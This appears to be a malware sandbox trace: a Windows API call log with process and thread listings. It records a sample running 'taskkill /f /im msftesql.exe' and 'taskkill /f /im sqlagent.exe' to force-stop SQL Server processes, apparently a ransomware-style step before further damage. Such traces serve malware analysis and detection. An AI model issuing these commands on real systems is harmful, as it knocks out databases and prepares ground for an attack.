	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0028.864] GetProcessHeap () returned 0x3f0000
	[0028.864] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x3f0a10 | out: hHeap=0x3f0000) returned 1
	[0028.865] GetProcessHeap () returned 0x3f0000
	[0028.865] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa) returned 0x3ffee0
	[0028.865] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0028.866] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im msftesql.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x38f490*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im msftesql.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x38f4dc | out: lpCommandLine="taskkill  /f /im msftesql.exe ", lpProcessInformation=0x38f4dc*(hProcess=0x78, hThread=0x74, dwProcessId=0xb0c, dwThreadId=0xb10)) returned 1
	[0028.874] CloseHandle (hObject=0x74) returned 1
	[0028.874] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0028.874] GetProcessHeap () returned 0x3f0000
	[0028.874] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405ed0 | out: hHeap=0x3f0000) returned 1
	[0028.874] GetEnvironmentStringsW () returned 0x414a48*
	[0028.874] GetProcessHeap () returned 0x3f0000
	[0028.874] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb36) returned 0x404090
	[0028.874] FreeEnvironmentStringsW (penv=0x414a48) returned 1
	[0028.874] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0033.407] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x38f3d0 | out: lpExitCode=0x38f3d0*=0x80) returned 1
	[0033.407] CloseHandle (hObject=0x78) returned 1
	[0033.407] _vsnwprintf (in: _Buffer=0x38f518, _BufferCount=0x13, _Format="%08X", _ArgList=0x38f3dc | out: _Buffer="00000080") returned 8
	[0033.408] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0033.408] GetProcessHeap () returned 0x3f0000
	[0033.408] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x404090 | out: hHeap=0x3f0000) returned 1
	[0033.408] GetEnvironmentStringsW () returned 0x404090*
	[0033.408] GetProcessHeap () returned 0x3f0000
	[0033.408] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb5c) returned 0x405ed0
	[0033.408] FreeEnvironmentStringsW (penv=0x404090) returned 1
	[0033.408] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0033.408] GetProcessHeap () returned 0x3f0000
	[0033.408] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405ed0 | out: hHeap=0x3f0000) returned 1
	[0033.408] GetEnvironmentStringsW () returned 0x404090*
	[0033.408] GetProcessHeap () returned 0x3f0000
	[0033.408] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb5c) returned 0x405ed0
	[0033.408] FreeEnvironmentStringsW (penv=0x404090) returned 1
	[0033.408] GetProcessHeap () returned 0x3f0000
	[0033.408] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x3ffee0 | out: hHeap=0x3f0000) returned 1
	[0033.408] DeleteProcThreadAttributeList (in: lpAttributeList=0x38f434 | out: lpAttributeList=0x38f434) 
	[0033.408] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0033.408] SetConsoleMode (hConsoleHandle=0xbc, dwMode=0x0) returned 0
	[0033.408] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0033.408] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x49e341ac | out: lpMode=0x49e341ac) returned 0
	[0033.409] _get_osfhandle (_FileHandle=0) returned 0xb8
	[0033.409] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49e341b0 | out: lpMode=0x49e341b0) returned 0
	[0033.409] GetConsoleOutputCP () returned 0x1b5
	[0033.409] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e34260 | out: lpCPInfo=0x49e34260) returned 1
	[0033.409] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0033.409] exit (_Code=128) 

Process:
	id = "3"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4d7a0000"
	os_pid = "0xb0c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0xb04"
	cmd_line = "taskkill  /f /im msftesql.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 7
	os_tid = 0xb10


Thread:
	id = 8
	os_tid = 0xb14


Thread:
	id = 9
	os_tid = 0xb18


Thread:
	id = 10
	os_tid = 0xb1c


Thread:
	id = 11
	os_tid = 0xb20


Process:
	id = "4"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x230f4000"
	os_pid = "0x36c"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "rpc_server"
	parent_id = "3"
	os_parent_pid = "0xb0c"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "64"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cedf" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 12
	os_tid = 0x944


Thread:
	id = 13
	os_tid = 0x940


Thread:
	id = 14
	os_tid = 0x93c


Thread:
	id = 15
	os_tid = 0x938


Thread:
	id = 16
	os_tid = 0x934


Thread:
	id = 17
	os_tid = 0x930


Thread:
	id = 18
	os_tid = 0x92c


Thread:
	id = 19
	os_tid = 0x928


Thread:
	id = 20
	os_tid = 0x924


Thread:
	id = 21
	os_tid = 0x920


Thread:
	id = 22
	os_tid = 0x91c


Thread:
	id = 23
	os_tid = 0x918


Thread:
	id = 24
	os_tid = 0x914


Thread:
	id = 25
	os_tid = 0x910


Thread:
	id = 26
	os_tid = 0x90c


Thread:
	id = 27
	os_tid = 0x908


Thread:
	id = 28
	os_tid = 0x904


Thread:
	id = 29
	os_tid = 0x900


Thread:
	id = 30
	os_tid = 0x8fc


Thread:
	id = 31
	os_tid = 0x8f8


Thread:
	id = 32
	os_tid = 0x8f4


Thread:
	id = 33
	os_tid = 0x8f0


Thread:
	id = 34
	os_tid = 0x8ec


Thread:
	id = 35
	os_tid = 0x8e8


Thread:
	id = 36
	os_tid = 0x8e4


Thread:
	id = 37
	os_tid = 0x8e0


Thread:
	id = 38
	os_tid = 0x8dc


Thread:
	id = 39
	os_tid = 0x8d8


Thread:
	id = 40
	os_tid = 0x8d4


Thread:
	id = 41
	os_tid = 0x8d0


Thread:
	id = 42
	os_tid = 0x8cc


Thread:
	id = 43
	os_tid = 0x8c8


Thread:
	id = 44
	os_tid = 0x8c4


Thread:
	id = 45
	os_tid = 0x8c0


Thread:
	id = 46
	os_tid = 0x8bc


Thread:
	id = 47
	os_tid = 0x8b8


Thread:
	id = 48
	os_tid = 0x8b4


Thread:
	id = 49
	os_tid = 0x8b0


Thread:
	id = 50
	os_tid = 0x8ac


Thread:
	id = 51
	os_tid = 0x8a8


Thread:
	id = 52
	os_tid = 0x89c


Thread:
	id = 53
	os_tid = 0x898


Thread:
	id = 54
	os_tid = 0x894


Thread:
	id = 55
	os_tid = 0x890


Thread:
	id = 56
	os_tid = 0x88c


Thread:
	id = 57
	os_tid = 0x878


Thread:
	id = 58
	os_tid = 0x5e4


Thread:
	id = 59
	os_tid = 0x33c


Thread:
	id = 60
	os_tid = 0x330


Thread:
	id = 61
	os_tid = 0x7f8


Thread:
	id = 62
	os_tid = 0x430


Thread:
	id = 63
	os_tid = 0x268


Thread:
	id = 64
	os_tid = 0x768


Thread:
	id = 65
	os_tid = 0x764


Thread:
	id = 66
	os_tid = 0x760


Thread:
	id = 67
	os_tid = 0x75c


Thread:
	id = 68
	os_tid = 0x70c


Thread:
	id = 69
	os_tid = 0x6e8


Thread:
	id = 70
	os_tid = 0x6d8


Thread:
	id = 71
	os_tid = 0x6d4


Thread:
	id = 72
	os_tid = 0x6c8


Thread:
	id = 73
	os_tid = 0x6c0


Thread:
	id = 74
	os_tid = 0x6b8


Thread:
	id = 75
	os_tid = 0x6a4


Thread:
	id = 76
	os_tid = 0x6a0


Thread:
	id = 77
	os_tid = 0x690


Thread:
	id = 78
	os_tid = 0x67c


Thread:
	id = 79
	os_tid = 0x490


Thread:
	id = 80
	os_tid = 0x454


Thread:
	id = 81
	os_tid = 0x450


Thread:
	id = 82
	os_tid = 0x428


Thread:
	id = 83
	os_tid = 0x424


Thread:
	id = 84
	os_tid = 0x420


Thread:
	id = 85
	os_tid = 0x404


Thread:
	id = 86
	os_tid = 0x18c


Thread:
	id = 87
	os_tid = 0xf0


Thread:
	id = 88
	os_tid = 0xc8


Thread:
	id = 89
	os_tid = 0x3f0


Thread:
	id = 90
	os_tid = 0x3e4


Thread:
	id = 91
	os_tid = 0x398


Thread:
	id = 92
	os_tid = 0x394


Thread:
	id = 93
	os_tid = 0x390


Thread:
	id = 94
	os_tid = 0x38c


Thread:
	id = 95
	os_tid = 0x378


Thread:
	id = 96
	os_tid = 0x370


Thread:
	id = 335
	os_tid = 0x9fc


Thread:
	id = 336
	os_tid = 0x958


Thread:
	id = 337
	os_tid = 0x804


Thread:
	id = 338
	os_tid = 0x6ac


Thread:
	id = 339
	os_tid = 0x7fc


Thread:
	id = 340
	os_tid = 0x5cc


Thread:
	id = 341
	os_tid = 0xa30


Thread:
	id = 342
	os_tid = 0x9c8


Thread:
	id = 343
	os_tid = 0x9a0


Thread:
	id = 344
	os_tid = 0x9a8


Thread:
	id = 346
	os_tid = 0x9b0


Thread:
	id = 347
	os_tid = 0xa14


Thread:
	id = 349
	os_tid = 0x900


Thread:
	id = 350
	os_tid = 0x904


Thread:
	id = 351
	os_tid = 0x908


Thread:
	id = 352
	os_tid = 0x820


Thread:
	id = 353
	os_tid = 0xa1c


Thread:
	id = 354
	os_tid = 0x8e8


Thread:
	id = 355
	os_tid = 0x9f0


Thread:
	id = 356
	os_tid = 0x90c


Thread:
	id = 357
	os_tid = 0xa04


Thread:
	id = 358
	os_tid = 0xa24


Thread:
	id = 362
	os_tid = 0xbb8


Thread:
	id = 363
	os_tid = 0xbbc


Thread:
	id = 386
	os_tid = 0xba4


Thread:
	id = 396
	os_tid = 0x994


Thread:
	id = 397
	os_tid = 0xad0


Process:
	id = "5"
	image_name = "wmiprvse.exe"
	filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe"
	page_root = "0x4e116000"
	os_pid = "0xb2c"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "rpc_server"
	parent_id = "4"
	os_parent_pid = "0x36c"
	cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Network Service"
	bitness = "64"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:00079766" [0xc000000f]


Thread:
	id = 97
	os_tid = 0xb48


Thread:
	id = 98
	os_tid = 0xb44


Thread:
	id = 99
	os_tid = 0xb40


Thread:
	id = 100
	os_tid = 0xb3c


Thread:
	id = 101
	os_tid = 0xb38


Thread:
	id = 102
	os_tid = 0xb34


Thread:
	id = 103
	os_tid = 0xb30


Thread:
	id = 104
	os_tid = 0xb4c


Thread:
	id = 345
	os_tid = 0x9ac


Thread:
	id = 348
	os_tid = 0x8fc


Process:
	id = "6"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4c09d000"
	os_pid = "0xb54"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im sqlagent.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 105
	os_tid = 0xb58

	[0033.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2afd8c | out: lpSystemTimeAsFileTime=0x2afd8c*(dwLowDateTime=0xf9a41650, dwHighDateTime=0x1d52dc4)) 
	[0033.493] GetCurrentProcessId () returned 0xb54
	[0033.493] GetCurrentThreadId () returned 0xb58
	[0033.493] GetTickCount () returned 0x18a83
	[0033.493] QueryPerformanceCounter (in: lpPerformanceCount=0x2afd84 | out: lpPerformanceCount=0x2afd84*=15380334515) returned 1
	[0033.494] GetModuleHandleA (lpModuleName=0x0) returned 0x4a990000
	[0033.494] __set_app_type (_Type=0x1) 
	[0033.494] __p__fmode () returned 0x74eb31f4
	[0033.494] __p__commode () returned 0x74eb31fc
	[0033.495] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a9b21a6) returned 0x0
	[0033.495] __getmainargs (in: _Argc=0x4a9b4238, _Argv=0x4a9b4240, _Env=0x4a9b423c, _DoWildCard=0, _StartInfo=0x4a9b4140 | out: _Argc=0x4a9b4238, _Argv=0x4a9b4240, _Env=0x4a9b423c) returned 0
	[0033.495] GetCurrentThreadId () returned 0xb58
	[0033.495] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb58) returned 0x60
	[0033.495] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0033.495] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0033.495] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0033.496] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0033.496] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2afd1c | out: phkResult=0x2afd1c*=0x0) returned 0x2
	[0033.496] VirtualQuery (in: lpAddress=0x2afd53, lpBuffer=0x2afcec, dwLength=0x1c | out: lpBuffer=0x2afcec*(BaseAddress=0x2af000, AllocationBase=0x1b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0033.496] VirtualQuery (in: lpAddress=0x1b0000, lpBuffer=0x2afcec, dwLength=0x1c | out: lpBuffer=0x2afcec*(BaseAddress=0x1b0000, AllocationBase=0x1b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0033.496] VirtualQuery (in: lpAddress=0x1b1000, lpBuffer=0x2afcec, dwLength=0x1c | out: lpBuffer=0x2afcec*(BaseAddress=0x1b1000, AllocationBase=0x1b0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0033.496] VirtualQuery (in: lpAddress=0x1b3000, lpBuffer=0x2afcec, dwLength=0x1c | out: lpBuffer=0x2afcec*(BaseAddress=0x1b3000, AllocationBase=0x1b0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0033.496] VirtualQuery (in: lpAddress=0x2b0000, lpBuffer=0x2afcec, dwLength=0x1c | out: lpBuffer=0x2afcec*(BaseAddress=0x2b0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0033.496] GetConsoleOutputCP () returned 0x1b5
	[0033.496] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a9b4260 | out: lpCPInfo=0x4a9b4260) returned 1
	[0033.496] SetConsoleCtrlHandler (HandlerRoutine=0x4a9ae72a, Add=1) returned 1
	[0033.496] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0033.496] SetConsoleMode (hConsoleHandle=0xb8, dwMode=0x0) returned 0
	[0033.496] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0033.496] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a9b41ac | out: lpMode=0x4a9b41ac) returned 0
	[0033.497] _get_osfhandle (_FileHandle=0) returned 0xac
	[0033.497] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x4a9b41b0 | out: lpMode=0x4a9b41b0) returned 0
	[0033.497] GetEnvironmentStringsW () returned 0x4a2008*
	[0033.497] GetProcessHeap () returned 0x490000
	[0033.497] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0xaca) returned 0x4a2ae0
	[0033.497] FreeEnvironmentStringsW (penv=0x4a2008) returned 1
	[0033.497] GetProcessHeap () returned 0x490000
	[0033.497] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x4) returned 0x4a0c40
	[0033.497] GetEnvironmentStringsW () returned 0x4a2008*
	[0033.497] GetProcessHeap () returned 0x490000
	[0033.497] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0xaca) returned 0x4a35b8
	[0033.497] FreeEnvironmentStringsW (penv=0x4a2008) returned 1
	[0033.497] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2aec8c | out: phkResult=0x2aec8c*=0x68) returned 0x0
	[0033.498] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2aec94, lpData=0x2aec98, lpcbData=0x2aec90*=0x1000 | out: lpType=0x2aec94*=0x0, lpData=0x2aec98*=0x0, lpcbData=0x2aec90*=0x1000) returned 0x2
	[0033.498] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2aec94, lpData=0x2aec98, lpcbData=0x2aec90*=0x1000 | out: lpType=0x2aec94*=0x4, lpData=0x2aec98*=0x1, lpcbData=0x2aec90*=0x4) returned 0x0
	[0033.498] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2aec94, lpData=0x2aec98, lpcbData=0x2aec90*=0x1000 | out: lpType=0x2aec94*=0x0, lpData=0x2aec98*=0x1, lpcbData=0x2aec90*=0x1000) returned 0x2
	[0033.498] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2aec94, lpData=0x2aec98, lpcbData=0x2aec90*=0x1000 | out: lpType=0x2aec94*=0x4, lpData=0x2aec98*=0x0, lpcbData=0x2aec90*=0x4) returned 0x0
	[0033.498] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2aec94, lpData=0x2aec98, lpcbData=0x2aec90*=0x1000 | out: lpType=0x2aec94*=0x4, lpData=0x2aec98*=0x40, lpcbData=0x2aec90*=0x4) returned 0x0
	[0033.498] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2aec94, lpData=0x2aec98, lpcbData=0x2aec90*=0x1000 | out: lpType=0x2aec94*=0x4, lpData=0x2aec98*=0x40, lpcbData=0x2aec90*=0x4) returned 0x0
	[0033.498] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2aec94, lpData=0x2aec98, lpcbData=0x2aec90*=0x1000 | out: lpType=0x2aec94*=0x0, lpData=0x2aec98*=0x40, lpcbData=0x2aec90*=0x1000) returned 0x2
	[0033.498] RegCloseKey (hKey=0x68) returned 0x0
	[0033.498] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2aec8c | out: phkResult=0x2aec8c*=0x68) returned 0x0
	[0033.498] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2aec94, lpData=0x2aec98, lpcbData=0x2aec90*=0x1000 | out: lpType=0x2aec94*=0x0, lpData=0x2aec98*=0x40, lpcbData=0x2aec90*=0x1000) returned 0x2
	[0033.498] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2aec94, lpData=0x2aec98, lpcbData=0x2aec90*=0x1000 | out: lpType=0x2aec94*=0x4, lpData=0x2aec98*=0x1, lpcbData=0x2aec90*=0x4) returned 0x0
	[0033.498] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2aec94, lpData=0x2aec98, lpcbData=0x2aec90*=0x1000 | out: lpType=0x2aec94*=0x0, lpData=0x2aec98*=0x1, lpcbData=0x2aec90*=0x1000) returned 0x2
	[0033.498] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2aec94, lpData=0x2aec98, lpcbData=0x2aec90*=0x1000 | out: lpType=0x2aec94*=0x4, lpData=0x2aec98*=0x0, lpcbData=0x2aec90*=0x4) returned 0x0
	[0033.498] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2aec94, lpData=0x2aec98, lpcbData=0x2aec90*=0x1000 | out: lpType=0x2aec94*=0x4, lpData=0x2aec98*=0x9, lpcbData=0x2aec90*=0x4) returned 0x0
	[0033.498] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2aec94, lpData=0x2aec98, lpcbData=0x2aec90*=0x1000 | out: lpType=0x2aec94*=0x4, lpData=0x2aec98*=0x9, lpcbData=0x2aec90*=0x4) returned 0x0
	[0033.498] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2aec94, lpData=0x2aec98, lpcbData=0x2aec90*=0x1000 | out: lpType=0x2aec94*=0x0, lpData=0x2aec98*=0x9, lpcbData=0x2aec90*=0x1000) returned 0x2
	[0033.498] RegCloseKey (hKey=0x68) returned 0x0
	[0033.498] time (in: timer=0x0 | out: timer=0x0) returned 0x5d16302a
	[0033.498] srand (_Seed=0x5d16302a) 
	[0033.498] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im sqlagent.exe \""
	[0033.499] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im sqlagent.exe \""
	[0033.499] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a9b5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0033.499] GetProcessHeap () returned 0x490000
	[0033.499] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x210) returned 0x4a2008
	[0033.499] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4a2010, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
